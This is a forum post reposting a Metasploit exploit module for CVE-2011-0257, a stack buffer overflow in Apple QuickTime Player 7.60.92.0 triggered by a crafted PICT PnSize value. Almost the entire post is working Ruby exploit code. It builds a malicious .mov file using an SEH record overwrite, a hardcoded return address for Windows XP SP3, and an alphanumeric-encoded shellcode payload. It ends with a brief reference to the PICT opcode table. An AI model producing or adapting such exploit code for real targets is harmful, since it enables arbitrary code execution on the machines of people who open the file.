Apple QuickTime PICT PnSize Buffer Overflow

[LLegoLLaS]

##
# $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime PICT PnSize Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
When opening a .mov file containing a specially crafted PnSize value, an attacker
may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 13691 $',
'References' =>
[
[ 'CVE', '2011-0257' ],
[ 'BID', '49144' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0
],
'Privileged' => false,
'DisclosureDate' => 'Aug 8 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.mov' ]),
], self.class)
end

def exploit

trigger = rand_text_alpha_upper(3324)
trigger[2302, 8] = generate_seh_record(target.ret)
trigger[2310, payload.encoded.size] = payload.encoded

path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
fd = File.open(path, "rb" )
sploit = fd.read(fd.stat.size)
fd.close

sploit << trigger

file_create(sploit)
end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt

Opcode Name Description Data Size (in bytes)

$0007 PnSize pen size (point) 4

Edited September 5, 2011 by LLegoLLaS